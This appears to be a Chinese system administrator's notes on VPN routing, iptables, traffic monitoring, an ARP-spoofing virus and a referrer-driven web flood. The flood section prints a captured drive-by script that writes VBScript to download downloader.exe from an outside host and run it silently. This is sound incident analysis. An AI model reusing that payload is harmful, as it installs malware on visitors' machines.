pipe 2

只要注意调整上面的(1)(2)(3)(4)规则中的一条,就可以 ping 通了,这里要使 Client ping 通 Server,那么只需要(1)(2)(4)中的一条即可。为方便起见,选择(1)。然后做 SNMP 查询:

  client# snmpwalk -v2c -c process-mon 192.168.1.1 .1.3.6.1.4.1.2021.2.1.1  UCD-SNMP-MIB::prIndex.1 = INTEGER: 1  UCD-SNMP-MIB::prIndex.2 = INTEGER: 2    host2# snmpwalk -v2c -c process-mon 192.168.1.1 .1.3.6.1.4.1.2021.2.1.1  UCD-SNMP-MIB::prIndex.1 = INTEGER: 1  UCD-SNMP-MIB::prIndex.2 = INTEGER: 2

接着打开 Client 端的 iptables:

  client# cat /etc/sysconfig/iptables  # Firewall configuration written by system-config-securitylevel  # Manual customization of this file is not r  *nat  :PREROUTING ACCEPT [0:0]  :POSTROUTING ACCEPT [0:0]  ......  COMMIT  *filter  :INPUT ACCEPT [0:0]  :FORWARD ACCEPT [0:0]  :OUTPUT ACCEPT [0:0]  :RH-Firewall-1-INPUT - [0:0]  # -A FORWARD -p icmp --icmp-type any -j ACCEPT  # -A FORWARD -i tun0 -j ACCEPT   # (a)  # -A FORWARD -i eth0 -j ACCEPT   # (b)  # -A FORWARD -o tun0 -j ACCEPT   # (c)  # -A FORWARD -s 192.168.0.0/24 -j ACCEPT   # (d)  -A FORWARD -m state --state ESTABLISHED,RELATED -j ACCEPT  ......  -A FORWARD -j RH-Firewall-1-INPUT  -A INPUT -j RH-Firewall-1-INPUT  -A RH-Firewall-1-INPUT -i lo -j ACCEPT  # -A RH-Firewall-1-INPUT -i tun0 -j ACCEPT                    # (1)  # -A RH-Firewall-1-INPUT -p udp --sport 161 -j ACCEPT         # (2)  # -A RH-Firewall-1-INPUT -p icmp --icmp-type any -j ACCEPT  ......  -A RH-Firewall-1-INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT  # (3)  ......  -A RH-Firewall-1-INPUT -j REJECT --reject-with icmp-host-prohibited  COMMIT    server# ping 192.168.0.211  PING 192.168.0.211 (192.168.0.211) 56(84) bytes of data.  From 192.168.0.211 icmp_seq=0 Dest Unreachable, Bad Code: 10  From 192.168.0.211 icmp_seq=1 Dest Unreachable, Bad Code: 10  From 192.168.0.211 icmp_seq=2 Dest Unreachable, Bad Code: 10  From 192.168.0.211 icmp_seq=3 Dest Unreachable, Bad Code: 10    --- 192.168.0.211 ping statistics ---  4 packets transmitted, 0 received, +4 errors, 100% packet loss, time 3017ms  , pipe 2    client# snmpwalk -v2c -c process-mon 192.168.1.1 .1.3.6.1.4.1.2021.2.1.1  Timeout: No Response from 192.168.1.1

这时只要调整(1)或者(2)即可令 client 通过 SNMP 连接 SNMP agent。因为这时是 UDP 报文,所以(3)不起作用,所以必须对恢复的 UDP 报文添加相应的防火墙规则。

当 Client 端的防火墙打开的时候,如果要在 host2 上面 ping 通 Server1,则需要设置 Client 上防火墙规则中的(b)(c)(d)中的一条。

Client to Client

然后要看看两个 Clients 之间如何联通。

  client1# ping 192.168.3.220  PING 192.168.3.220 (192.168.3.220) 56(84) bytes of data.  --- 192.168.3.220 ping statistics ---  8 packets transmitted, 0 received, 100% packet loss, time 7015ms    server# tcpdump -i tun0  tcpdump: WARNING: arptype 65534 not supported by libpcap - falling back to cooked socket  tcpdump: verbose output suppressed, use -v or -vv for full protocol decode  listening on tun0, link-type LINUX_SLL (Linux cooked), capture size 96 bytes  # Nothing    client2# tcpdump -i tun0 "icmp"  tcpdump: WARNING: arptype 65534 not supported by libpcap - falling back to cooked socket  tcpdump: verbose output suppressed, use -v or -vv for full protocol decode  listening on tun0, link-type LINUX_SLL (Linux cooked), capture size 96 bytes  13:18:57.008987 IP 192.168.128.6 > 192.168.3.220: icmp 64: echo request seq 0  13:18:58.022477 IP 192.168.128.6 > 192.168.3.220: icmp 64: echo request seq 1  13:18:59.023785 IP 192.168.128.6 > 192.168.3.220: icmp 64: echo request seq 2  13:19:00.023405 IP 192.168.128.6 > 192.168.3.220: icmp 64: echo request seq 3  13:19:01.023105 IP 192.168.128.6 > 192.168.3.220: icmp 64: echo request seq 4  13:19:02.023529 IP 192.168.128.6 > 192.168.3.220: icmp 64: echo request seq 5  13:19:03.023091 IP 192.168.128.6 > 192.168.3.220: icmp 64: echo request seq 6  13:19:04.022907 IP 192.168.128.6 > 192.168.3.220: icmp 64: echo request seq 7    8 packets captured  8 packets received by filter  0 packets dropped by kernel    host3# tcpdump -i tun0 "icmp"  tcpdump: verbose output suppressed, use -v or -vv for full protocol decode  listening on eth0, link-type EN10MB (Ethernet), capture size 96 bytes  13:02:01.317654 IP 192.168.128.6 > p03.shopex.cn: icmp 64: echo request seq 0  13:02:02.331073 IP 192.168.128.6 > p03.shopex.cn: icmp 64: echo request seq 1  13:02:03.332381 IP 192.168.128.6 > p03.shopex.cn: icmp 64: echo request seq 2  13:02:04.332006 IP 192.168.128.6 > p03.shopex.cn: icmp 64: echo request seq 3  13:02:05.331707 IP 192.168.128.6 > p03.shopex.cn: icmp 64: echo request seq 4  13:02:06.332125 IP 192.168.128.6 > p03.shopex.cn: icmp 64: echo request seq 5  13:02:07.331702 IP 192.168.128.6 > p03.shopex.cn: icmp 64: echo request seq 6  13:02:08.331510 IP 192.168.128.6 > p03.shopex.cn: icmp 64: echo request seq 7    8 packets captured  8 packets received by filter  0 packets dropped by kernel

在 Client1 上使用的接口是 192.168.128.6 而不是自己的 192.168.0.211 这个接口, 所以相应的需要在 host3 上增加到 192.168.128.0/24 网段的路由:

  host3# netstat -rn  Kernel IP routing table  Destination     Gateway         Genmask         Flags   MSS Window  irtt Iface  210.51.46.192   0.0.0.0         255.255.255.192 U         0 0          0 eth1  192.168.3.0     0.0.0.0         255.255.255.0   U         0 0          0 eth0  192.168.2.0     192.168.3.227   255.255.255.0   UG        0 0          0 eth0  192.168.1.0     192.168.3.227   255.255.255.0   UG        0 0          0 eth0  192.168.0.0     192.168.3.227   255.255.255.0   UG        0 0          0 eth0  169.254.0.0     0.0.0.0         255.255.0.0     U         0 0          0 eth1  0.0.0.0         210.51.46.193   0.0.0.0         UG        0 0          0 eth1    host3# route add -net 192.168.128.0 gw 192.168.3.227 netmask 255.255.255.0 dev eth0    client1# ping 192.168.3.220  PING 192.168.3.220 (192.168.3.220) 56(84) bytes of data.  64 bytes from 192.168.3.220: icmp_seq=0 ttl=63 time=13.3 ms  64 bytes from 192.168.3.220: icmp_seq=1 ttl=63 time=3.19 ms  64 bytes from 192.168.3.220: icmp_seq=2 ttl=63 time=13.1 ms  64 bytes from 192.168.3.220: icmp_seq=3 ttl=63 time=6.90 ms  --- 192.168.3.220 ping statistics ---  4 packets transmitted, 4 received, 0% packet loss, time 3025ms  rtt min/avg/max/mdev = 3.195/9.145/13.368/4.301 ms, pipe 2

可以在 Server 上的 /etc/openvpn/server.conf 中增加相应的 push,并在 host3 的 /etc/sysconfig/static-routes 中增加相应的路由设置:

  server# vi /etc/openvpn/server.conf  push "route 192.168.128.0 255.255.255.0"    host3# vi /etc/sysconfig/static-routes  any net 192.168.0.0 gw 192.168.3.227 netmask 255.255.255.0 dev eth0  any net 192.168.1.0 gw 192.168.3.227 netmask 255.255.255.0 dev eth0  any net 192.168.2.0 gw 192.168.3.227 netmask 255.255.255.0 dev eth0  any net 192.168.128.0 gw 192.168.3.227 netmask 255.255.255.0 dev eth0

Security

流量控制

在缺乏资源的情况下寻找带宽杀手

如果拥有足够的资源,比如可网管的交换机和路由器,那么这相对来说就是比较简单的 事情了。不过如果这些设备不够强大,那么可以考虑使用 Linux 来解决这个问题。

我所遇到的一个实例是这样的:公司出口的总带宽是上下行皆为 2M bit/sec,也就是 256K bytes/sec,一段时间以来,工作时间的网络状况极其令人恼火,初步的判断是因为 有人在使用 P2P 软件在工作时间下载无关的东西。

因为所使用的交换机和路由器比较弱,一开始这个问题不好解决。但基本的思路是利用 一些监控工具,如 snort IDS 等来监控资源使用的情况——SNMP 的功能还是如其名字 那样,Simple,所以在这里达不到要求,这里需要针对每个 IP 甚至是 MAC 地址来进行 监控。

这些工具的一个基本原理是将网卡设置为混杂模式,在混杂模式下,所有在以太网上传递 的报文都会被这块网卡接收,从而可以对报文的各个层的信息进行分析。

不过一般只有集线器这样的设备是以太网拓扑,交换机则是星形结构,报文的传递都是口 对口进行的,而不是象以太网那样传递到整个拓扑,由接收端决定是否接收。解决这个 问题的一个办法是利用交换机或路由器的端口映射,将一个端口(通常是路由接入的那个 端口)上的所有报文都映射到监控主机接入的那个端口上,这里的端口映射和 NAT 中的 端口映射的含义应该是不同的,这里指的是更物理层的端口映射,而不是 TCP 层。

不过我没有找到那些交换机和路由器的端口映射设置办法,那些设备基本上连说明书都 没有了,于是我干脆决定用 Linux 来做一个路由器,并设置相应的监控程序在该路由器 上运行,因为所有内部主机都要经过它连接到外网,所以所有内部主机的网络使用情况都 能够看到。

配置路由需要设置两个地方,ip_forward 和 iptables NAT:

  sh# echo "1">/proc/sys/net/ipv4/ip_forward  sh# vi /etc/sysctl.conf  net.ipv4.ip_forward = 1  sh# iptables -t nat -A POSTROUTING -s 192.168.0.0/24 ! -d 192.168.0.1 --to-source 218.80.208.72  # 或通过 /etc/sysconfig/iptables 来调整

同时要设置正确的外网 IP/Mask 和内网 IP/Mask(在两个 IP 地址上),以及正确的默认 路由。然后将外网网线接到 eth1,内网交换机接到 eth0。这个工作可以在下班或其他人 少的时候进行,这样如果有问题,可以从容的排查。可能刚刚连接好线路后两边都会不同 ,过几分钟就好了,这可能是因为 arp 缓存的原因。

然后测试一下,保证可以正常的上网即可。接着就要设置工具软件了。

仅仅为了一个网络流量而使用 snort IDS 这样的工具,在学习条件很有限(时间和精力) 的情况下,显得成本太高了点,于是选择 iptraf。

iptraf 是一个字符界面的交互式程序,它有若干中工作方式,这里因为需要针对不同的 主机查看相应的网络流量和使用情况,所以在启动后选择"LAN Monitor Statstics"模式 ,并选择内网的那个 interface(eth0)进行监控。在弹出的统计界面中,针对不同的 MAC 地址,有其相应的下行和上行报文总量和当前速率值。

同时,配置一个 SNMP + Cacti 来对带宽变得的总体情况进行监控,结合 iptraf 就能够 得到更清楚的认识了。

需要说明的是,这里的 In 和 Out 的含义并不是针对监控的这个网关的 interface(eth0) 的,而是针对每一个不同的 MAC 而言的,用图表示如下:

  请用等宽字体显示:          / <------ InRate -------\        |                       |  00e04d065cc4            gateway(eth0)        |                       |        \-------- OutRate ----> /

看一个实际的抓屏: 

在这个例子中,0002b3b05936是 gateway(eth0) 自己,所以不需要考虑它所占用的 带宽,它表示的实际上是一个总量,值得注意的是,这里 gateway 的 InRate 并不表示 这个网络的全部下载速率,相反,它表示的是上传速率;而 OutRate 则表示的是下载 速率,相应的 BytesIn 表示上传总量,BytersOut 标识下载总量,而 这与每一个 MAC地址对应的结果是不同的,对每一个 MAC 地址来说,BytesIn 表示 它的下载总量,RateIn 表示当前下载速率,这个一定要注意!

所以,所有其他 MAC 地址的 BytesIn 总和,应该和 gateway 的 BytesOut 一致,而 所有其他 MAC 地址的 InRate 应该和 gateway 的 OutRate 相等。

在屏幕下方,说明了 InRate 和 OutRate 的单位,这里是 kbytes/sec,这可能与 Cacti 中的显示不一样,同时一般对网卡网线等设备所使用的单位是 bit/sec,所以要注意其 换算的关系。同时,在 iptraf 的 Configure 中,有相应的选项可以改变单位为 kbit/sec。

分析这个实例,可以看到00508dca6a9a这个 MAC 地址的的 InRate 是比较大的, 当然这里显示的是瞬时值,而实际的峰值比这要大很多,但更可靠的是查看下载总量, 340121K,与0002b3b05936的 2235M 相比,占了将近 1/6 左右,而且这个 2235M 实际上还包括了一些到网关本身的流量(当时 192.168.0.1 还承担了一些别的工作,而且 包括 Cacti 和 iptraf 的监控情况都要传回到我自己的工作主机,也就是图中的 00e04d065cc4),所以实际上00508dca6a9a占用的带宽超过了 1/6。

可以使用:

  sh# arp | grep -i '00:50:8d:ca:6a:9a'

来查找与之对应的 IP 地址,然后在防火墙中将其禁止:

  iptables -A FORWARD -s 192.168.0.x -j DROP

在 iptraf 中,很快就可以看到这个 MAC 对应的流量降到了 0。但几分钟后,发现它的 流量又上来了,使用 arp | grep 查看,发现对方更改了 IP 地址,于是使用 iptables 的 mac 语法来禁止这个 MAC 地址:

  iptables -t nat -A PREROUTING -m mac --mac-source 00:50:8D:CA:6A:9A -j DROP

对于 Red Hat,可以编辑 /etc/sysconfig/iptables 来更改。

另外,使用 arptalbes 来做 MAC 地址的限制估计也是可以的。那么根据这种特性,就 可以想到办法来针对更改 MAC 地址的情况,例如可以使用 MAC 的 white list,或者在 发现异常 MAC 地址的时候查找缺失的 MAC 地址列表并对应到具体的使用人员。所以最好 在公司内部建立一个 MAC 地址到使用人的对应列表。

一次 ARP 欺骗病毒实战

下午一点钟左右,有“同学”报告公司网络开始变慢,马上查看 Cacti 的监控情况, 发现公司总带宽还并没有跑满,但可以看到相应的有一段比较长的时间维持在高峰状态, 而不是象正常情况下不断有起伏。

如图: 

然后查看 iptraf,看能不能找到相应的 MAC 地址,结果发现有一个 MAC 地址几乎占据 了全部的流量,而其他 MAC 则几乎完全没有流量,于是用 arp 命令查看:

  sh# arp | grep -i '00:e0:4c:00:32:f9'  arp  Address                  HWtype  HWaddress           Flags Mask            Iface  192.168.0.149            ether   00:E0:4C:00:32:F9   C                     eth0  192.168.0.121            ether   00:E0:4C:00:32:F9   C                     eth0  192.168.0.198            ether   00:E0:4C:00:32:F9   C                     eth0  192.168.0.150            ether   00:E0:4C:00:32:F9   C                     eth0  192.168.0.152            ether   00:E0:4C:00:32:F9   C                     eth0  192.168.0.153            ether   00:16:17:10:23:3C   C                     eth0  192.168.0.254            ether   00:E0:4C:00:32:F9   C                     eth0  192.168.0.178            ether   00:E0:4C:00:32:F9   C                     eth0  192.168.0.24             ether   00:E0:4C:00:32:F9   C                     eth0  218.80.208.65            ether   00:04:80:9B:FB:00   C                     eth1  218.80.208.90            ether   00:50:8B:B3:9F:4B   C                     eth1  192.168.0.20             ether   00:E0:4C:00:32:F9   C                     eth0  192.168.0.154            ether   00:E0:4C:00:32:F9   C                     eth0  192.168.0.119            ether   00:E0:4C:00:32:F9   C                     eth0  192.168.0.233            ether   00:E0:4C:00:32:F9   C                     eth0  192.168.0.161            ether   00:E0:4C:00:32:F9   C                     eth0  192.168.0.144            ether   00:E0:4C:00:32:F9   C                     eth0  192.168.0.221            ether   00:E0:4C:00:32:F9   C                     eth0  192.168.0.35             ether   00:E0:4C:00:32:F9   C                     eth0

可以看到,所有的内网地址都映射到了同一个 MAC 地址,我们遭遇了 ARP 欺骗。

接着,有人报告说官方网站出现了病毒,因为之前遇到过路由中病毒而导致在出入的报文 中被插入病毒的情况,结合这里的 ARP 欺骗,可以肯定这里是由于中毒而导致 ARP 欺骗 以及页面被插入病毒的情况。

... ARP 及 ARP 欺骗的原理 ...

在内网的一台普通主机上运行:

  C:\Documents and Settings\sysadm> arp -a

若干次,可以发现网关 192.168.0.1 的 MAC 地址始终在变化,并且都不是其真实的 MAC 地址;在网关上运行 arping 到一个普通的工作机:

  sh# arping 192.168.0.125  ARPING 192.168.0.125 from 192.168.0.1 eth0  Unicast reply from 192.168.0.125 [00:E0:4D:06:5C:C4]  0.700ms  Unicast reply from 192.168.0.125 [00:E0:4D:06:5C:C4]  0.677ms  Unicast reply from 192.168.0.125 [00:E0:4C:00:32:F9]  837.700ms  Unicast reply from 192.168.0.125 [00:E0:4C:00:32:F9]  826.677ms  ......

根据 ARP 欺骗的基本原理,可以肯定这里病毒对网关和内网的其他所有主机都进行了 欺骗,从而使所有的报文都要经过它进行转发,成为了一个欺骗性的路由,通常 PC 机的 性能和网络带宽都很小,而且这里又绕了一个圈,从上面的 arping 的结果来看,返回 时间值很大,所以,虽然公司总带宽没达到瓶颈,但大家都感到网络速度变慢了,而且 这里面可能存在窥探密码等敏感信息的可能。

因为现在所有的 MAC 信息都被欺骗,所以但凭现在简单的网络软硬件设施是无法定位有 问题的那台主机的。从软件资源的角度来看,如果拥有一个 IDS,例如 snort,也许可以 解决这个问题,但实际的情况我目前不是太清楚;从硬件资源来看,如果交换机是可网管 的,那么也许可以查看交换机上各个物理端口的报文和流量情况作出判断。

现在的情况,只能利用物理方法,即逐一拔除网线的办法来解决,同时,需要利用一些 工具来进行判断,例如上面的 arp -a 或 arping,或者专门的嗅探器,如 ethereal 或 winshark 等。

可以从最上层的交换机开始做。对前者,当拔除部分线路时(通常可以使用二分法),在 路由器上使用 arping 某一台连接着的主机,可以判断问题是出在哪一半的线路上,或者 连接一个笔记本到交换机上来做这个事情,可以用 arp -a 或 arping gateway。

对后者,可以打开嗅探器,然后看 ARP 包的数量是不是异常的多,也可以判断出问题是 在哪一步分的线路上。

然后逐级查找下一级的交换机。

当然,如果布线和标签等硬件管理措施不是很到位,那么这件事情也不是那么轻松,但总 的来说,是一个在资源比较匮乏的情况下相对比较快捷点的办法。

参考: 交换网络中的嗅探和 ARP 欺骗

今天早上再次遇到了 ARP 欺骗病毒,昨天的线路已经找到,并且已经将其网线从交换机 上拔除,所以应该是有新的机器中毒了。那么是否应该象昨天那样采用物理拔除法呢?

在作出决定之前,应该先判断病毒的表征,因为很可能不是同一种病毒。在昨天的例子 中,用于欺骗的 ARP 实际上并不是一个原来已经存在的 ARP 地址,而今天的情况是, 这个 ARP 地址可以找到实际的对应 IP(使用工具如 nbtscan),并且因为之前已经 建立公司每个员工和相应的 MAC 地址的对应表,也是可以找到相应的记录,所以这 是一种不同的病毒。那么断开这台主机的网络连接,进行相应的杀毒处理。

nbtscan 可以从这里下载: nbtscan 可以使用命令:nbtscan -m 192.168.0.0/24来查找 IP 和 MAC 的对应表,因为此时 ARP 欺骗已经发生,所以无法直接使用 arp 命令。这个命令似乎在 Windows 下运行 得到的结果比 Linux 下更准确。另一个可选的办法是使用 arping 在一个 shell script 的循环中ping 整个网段的所有主机(1~255),使用arping -c1,这样可以得到正确的 IP 和 MAC 地址的对应表,不过因为是顺序执行,所以速度较慢,可以考虑使用多进程 等。

一次洪水攻击实例

今天早上开始发现 Cacti 监控数据显示官方网站上的流量急剧增加,尤其是 Outbound 流量,到中午 1:30 分左右达到顶峰,是平时正常情况下的近 4 倍,同时内存也显示被 耗尽了,大量的 swap 被使用,登录系统非常的慢,负载一度高达 200!

首先重启 Apache,缓解一下压力,以争取时间。

考虑一下会不会是 SYN Flood 攻击?从netstat -ant | wc -lnetstat -ant | grep -c SYN_RECV 的对比来看,还是比较正常的,所以应该不是 SYN Flood。那么为什么系统资源被急速 耗尽了呢?

查看一下 Apache 的 access 日志,可以发现一些异常的情况,这是一个过滤的结果:

  220.165.182.77 - - [25/Jul/2007:12:41:13 +0800] "GET / HTTP/1.1" 200 17054 "http://www.xp1us.com.cn/00000/00000.htm" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"  59.45.9.245 - - [25/Jul/2007:12:41:14 +0800] "GET / HTTP/1.1" 304 - "http://www.xp1us.com.cn/804646800/1709.htm" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Mozilla/4.0(Compatible Mozilla/4.0EmbeddedWB- 14.59  from: http://bsalsa.com/ ; Mozilla/4.0(Compatible Mozilla/4.0(Compatible-EmbeddedWB 14.59 http://bsalsa.com/ EmbeddedWB- 14.59  from: http://bsalsa.com/ ; .NET CLR 2.0.50727)"  222.220.251.54 - - [25/Jul/2007:12:41:14 +0800] "GET / HTTP/1.1" 200 17054 "http://www.xp1us.com.cn/00000/00000.htm" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"  122.198.1.247 - - [25/Jul/2007:12:41:14 +0800] "GET / HTTP/1.1" 304 - "http://www.xp1us.com.cn/804646800/1709.htm" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)"  58.218.165.30 - - [25/Jul/2007:12:41:14 +0800] "GET / HTTP/1.1" 200 17054 "http://www.xp1us.com.cn/00000/ccccc.htm" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; (R1 1.5))"  125.123.179.120 - - [25/Jul/2007:12:41:27 +0800] "GET / HTTP/1.0" 304 - "http://www.xp1us.com.cn/80461/pin.htm" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"  58.63.141.21 - - [25/Jul/2007:12:41:13 +0800] "GET / HTTP/1.1" 200 17054 "http://www.xp1us.com.cn/00000/00000.htm" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)"  59.58.18.157 - - [25/Jul/2007:12:41:17 +0800] "GET /lic/asp/ HTTP/1.1" 200 11510 "http://www.xp1us.com.cn/80461/pin.htm" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"  125.118.30.48 - - [25/Jul/2007:12:41:17 +0800] "GET / HTTP/1.1" 200 17054 "http://www.xp1us.com.cn/00000/00000.htm" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; InfoPath.1)"  61.220.208.226 - - [25/Jul/2007:12:36:17 +0800] "GET / HTTP/1.0" 200 17054 "http://www.xp1us.com.cn/80461/pin.htm" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)"

可见有大量的 Reference 从www.xp1us.com.cn的页面转接过来。记录的状态是 200, 说明对服务器来说,是作为正常的请求来处理的。而且源 IP 地址并不是固定的。

那么分析一下这些页面究竟在做些什么。使用 wget 先下载几个页面看看,例如 http://www.xp1us.com.cn/80461/pin.htm

        

然后什么 1709.htm:

        

这两个文件的内容是一样的,其他也一样。那么看看它们引用的其他几个文件: http://59.34.197.164:81/jishuqi.asp

  document.write('')

http://59.34.197.164/ifuckhackerdewife.js

  document.write('');      document.write(':on error resume next');    document.write(':dl = "http://ip1.adanywhere.cn/downloader.exe"');    document.write(':fname1="downloader.exe"');   document.write(':  Set df = document.createElement("object")');   document.write(' :  df.setAttribute "classid", "clsid:BD96C556-65A3-11D0-983A-00C04FC29E36"');     document.write(':     set SS = df.createobject("Adodb.Stream","")');   document.write('  : SS.type = 1');  document.write(':set F = df.createobject("Scripting.FileSystemObject","")');   document.write('  :  set tmp = F.GetSpecialFolder(2)');   document.write(' : fname1= F.BuildPath(tmp,fname1)');   document.write(' :  SS.open');       document.write('  :    Set getexe = df.CreateObject("Microsoft."&"XMLHTTP","")');  document.write(':getexe.Open "GET", dl, False');   document.write(' :  getexe.Send');   document.write('  : SS.write getexe.responseBody');    document.write(' : SS.savetofile fname1,2');  document.write(' :   SS.close');   document.write(':set Q = df.'+'c'+'r'+'e'+'a'+'t'+'e'+'o'+'b'+'j'+'e'+'c'+'t("Shell.Application","")');  document.write(':Q.'+'S'+'h'+'e'+'l'+'l'+'E'+'x'+'e'+'c'+'u'+'t'+'e fname1,"","","open",0');       document.write('  ')

http://js.users.5l.la/1044786.js

  window.onerror=function(){return true};  document.write ('var a1177183tf="51la";var a1177183pu="";var a1177183pf="51la";var a1177183su="http://www.popo321.cn/3/index.htm";var a1177183sf="http://ip.8dunet.com/po321.asp";var a1177183of="";var a1177183op="";var a1177183ops=1;var a1177183ot=1;var a1177183d=new Date();var a1177183color="";if (navigator.appName=="Netscape"){a1177183color=screen.pixelDepth;} else {a1177183color=screen.colorDepth;}<\/script>a1177183tf="http://ip.8dunet.com/po321.asp";<\/script>a1177183pu ="http://www.popo321.cn/3/index.htm";<\/script>a1177183pf="http://ip.8dunet.com/po321.asp";<\/script>a1177183ops=document.cookie.match(new RegExp("(^| )AJSTAT_ok_pages=([^;]*)(;|$)"));a1177183ops=(a1177183ops==null)?1: (parseInt(unescape((a1177183ops)[2]))+1);var a1177183oe =new Date();a1177183oe.setTime(a1177183oe.getTime()+60*60*1000);document.cookie="AJSTAT_ok_pages="+a1177183ops+ ";path=/;expires="+a1177183oe.toGMTString();a1177183ot=document.cookie.match(new RegExp("(^| )AJSTAT_ok_times=([^;]*)(;|$)"));if(a1177183ot==null){a1177183ot=1;}else{a1177183ot=parseInt(unescape((a1177183ot)[2])); a1177183ot=(a1177183ops==1)?(a1177183ot+1):(a1177183ot);}a1177183oe.setTime(a1177183oe.getTime()+365*24*60*60*1000);document.cookie="AJSTAT_ok_times="+a1177183ot+";path=/;expires="+a1177183oe.toGMTString();<\/script>a1177183of=a1177183sf;if(a1177183pf!=="51la"){a1177183of=a1177183pf;}if(a1177183tf!=="51la"){a1177183of=a1177183tf;}a1177183op=a1177183pu;try{lainframe}catch(e){a1177183op=a1177183su;}document.write(\'\');<\/script>');

从这几个脚本来进行分析,大致可以知道其攻击的流程是怎样的。首先,一个用户访问http://www.xp1us.com.cn/80461/pin.htm 这样的页面的时候,页面的 javascript 使客户端浏览器执行了http://59.34.197.164/ifuckhackerdewife.js,这个 js 脚本会自动生成一个 VBScript,而这个 VBScript 会下载http://ip1.adanywhere.cn/downloader.exe,并调用一个 Shell 执行它。估计就 是利用这个 downloader.exe 来对我们网站的进行访问,而且这个 downloader.exe 似乎 本身就是一个病毒。

因为报文已经上到了 Apache 的应用层,而且是作为正常的访问来进行的,所以想要在 网络协议的低层,例如用 iptables 在内核的 netfilter 里面就阻挡掉比较困难。虽然 iptables 有 -m limit 参数,但如果对请求速率进行限制,会因为大部分的请求都被 Spammer 占用了而导致正常用户无法访问,其效果等同与 DDOS。iptables 的 connlimit 模块没有用过,不知道效果如何。而且从这里日志的情况来看,ip 地址相当分散,所以 即使使用,效果也很有限。

同事提出了一个解决办法,可以使用 Apache 的 mod_rewrite 来做重定向,最终实现 如下:

     ...   RewriteCond %{HTTP_REFERER} ^http://www.xp1us.com.cn/.*$ [NC]   RewriteRule ^(.*)$ http://localhost [R,NC]   RewriteCond %{HTTP_REFERER} ^http://www.l68fff.com/.*$ [NC]   RewriteRule ^(.*)$ http://localhost [R,NC]   ...  

这样,就将所有从http://www/xp1us.com.cn转发的的页面全部重定向到了 http://localhost,也就是浏览器本地主机。

再看看日志的情况:

  125.93.219.8 - - [25/Jul/2007:14:45:43 +0800] "GET /lic/asp/ HTTP/1.1" 302 200 "http://www.xp1us.com.cn/804646800/1709.htm" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)"  221.237.89.96 - - [25/Jul/2007:14:45:43 +0800] "GET / HTTP/1.1" 302 200 "http://www.xp1us.com.cn/00000/00000.htm" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; KuGooSoft)"  210.14.65.69 - - [25/Jul/2007:14:45:44 +0800] "GET /lic/asp/ HTTP/1.0" 302 200 "http://www.xp1us.com.cn/804646800/1709.htm" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)"  210.14.65.69 - - [25/Jul/2007:14:45:44 +0800] "GET /lic/asp/ HTTP/1.0" 302 200 "http://www.xp1us.com.cn/00000/00000.htm" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"  121.232.213.30 - - [25/Jul/2007:14:45:44 +0800] "GET /lic/asp/ HTTP/1.1" 302 200 "http://www.xp1us.com.cn/804646800/1709.htm" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727)"  60.164.110.214 - - [25/Jul/2007:14:45:44 +0800] "GET / HTTP/1.1" 302 200 "http://www.xp1us.com.cn/80465113/3925.htm" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; (R1 1.5))"  222.248.200.122 - - [25/Jul/2007:14:45:44 +0800] "GET /lic/asp/ HTTP/1.1" 302 200 "http://www.xp1us.com.cn/00000/00000.htm" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"  59.58.24.174 - - [25/Jul/2007:14:45:44 +0800] "GET /lic/asp/ HTTP/1.1" 302 200 "http://www.xp1us.com.cn/00000/00000.htm" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"  121.232.213.30 - - [25/Jul/2007:14:45:45 +0800] "GET / HTTP/1.1" 302 200 "http://www.xp1us.com.cn/804646800/1709.htm" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727)"  125.93.219.8 - - [25/Jul/2007:14:45:45 +0800] "GET / HTTP/1.1" 302 200 "http://www.xp1us.com.cn/804646800/1709.htm" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)"  210.14.65.69 - - [25/Jul/2007:14:45:45 +0800] "GET /lic/asp/ HTTP/1.0" 302 200 "http://www.xp1us.com.cn/804646800/1709.htm" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)"  121.35.63.213 - - [25/Jul/2007:14:45:45 +0800] "GET /lic/asp/ HTTP/1.1" 302 200 "http://www.xp1us.com.cn/00000/00000.htm" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)"  ......

状态已经变化,由原来的 200 变成了 302,即 Found 但不是 OK。如果不放心, 可以打开 RewriteLog 看看:

   RewriteLog /data/logs/rewrite.log   RewriteLogLevel    3

LogLevel 不要开得太大,能看到 localhost 的记录就说明跳转已经成功了,确认后把 LogLevel 开回 0。

上面的 Rewrite 规则似乎有点繁琐,可以这样写:

     ...   RewriteCond %{HTTP_REFERER} ^http://www.xp1us.com.cn/.*$ [NC,OR]   RewriteCond %{HTTP_REFERER} ^http://www.l68fff.com/.*$ [NC]   RewriteRule ^(.*)$ http://localhost [R,NC]   ...  

用一条 RewriteRule 匹配多条 RewriteCond。

